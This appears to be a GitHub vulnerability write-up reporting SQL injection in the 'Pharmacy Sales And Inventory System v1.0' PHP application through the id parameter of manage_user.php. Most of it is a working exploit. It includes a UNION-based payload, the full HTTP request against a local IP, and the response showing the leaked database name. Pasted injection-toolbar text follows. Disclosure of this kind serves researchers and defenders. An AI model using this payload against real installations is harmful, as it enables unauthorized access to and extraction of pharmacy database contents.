debug601 Update SQLi-1.md History

1 contributor

24 lines (18 sloc) | 1.19 KB

Pharmacy Sales And Inventory System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/14500/pharmacy-sales-and-inventory-system-using-phpmysql-source-code.html

Vulnerability File: /pharmacy-sales-and-inventory-system/manage_user.php?id=

Vulnerability location: ip/pharmacy-sales-and-inventory-system/manage_user.php?id=, id

[+] Payload: /pharmacy-sales-and-inventory-system/manage_user.php?id=-1+UNION+ALL+SELECT+NULL,GROUP_CONCAT(database()),NULL,NULL,NULL-- // Leak place ---> id

```
GET /pharmacy-sales-and-inventory-system/manage_user.php?id=-1+UNION+ALL+SELECT+NULL
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=4k3d5u023qn0eacroobson4prq
Connection: close
```

```
GET
/pharmacy-sales-and-inventory-system/manage_
user.php?id=-1+UNION+ALL+SELECT+NULL,GROUP_
CONCAT(database()),NULL,NULL,NULL--
HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=4k3d5u023qn0eacroobson4prq
Connection: close
```

```
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">

        <form action="" id="manage-user">
                <input type="hidden" name="id" value="">
                <div class="form-group">
                        <label for="name">Name</label>
                        <input type="text" name="name" id="name" class="form-control" value="pharmacy_db"
required>
                </div>
                <div class="form-group">
                        <label for="username">Username</label>
                        <input type="text" name="username" id="username" class="form-control" value=""
required>
                </div>
                <div class="form-group">
                        <label for="password">Password</label>
                        <input type="password" name="password" id="password" class="form-control" value=""
required>
                </div>
                        <div class="form-group">
                <label for="type">User Type</label>
                <select name="type" id="type" class="custom-select">
                        <option value="1" >Admin</option>
```

INT | SQL BASICS | UNION BASED | ERROR/DOUBLE QUERY | TOOLS | WAF BYPASS | ENCODING | HTML | ENCRYPTION | OTHER | XSS | LFI

Load URL

Split URL

Execute

192.168.1.19/pharmacy-sales-and-inventory-system/manage_user.php?id=-1+UNION+ALL+SELECT+NULL,GROUP_CONCAT(database()),NULL,NULL,NULL--

Post data | Referrer | 0xHEX | %URL | BASE64 | Insert string to replace | Insert replacing string | Replace All

Name pharmacy_db

Username admin

Password ••••••••

User Type Admin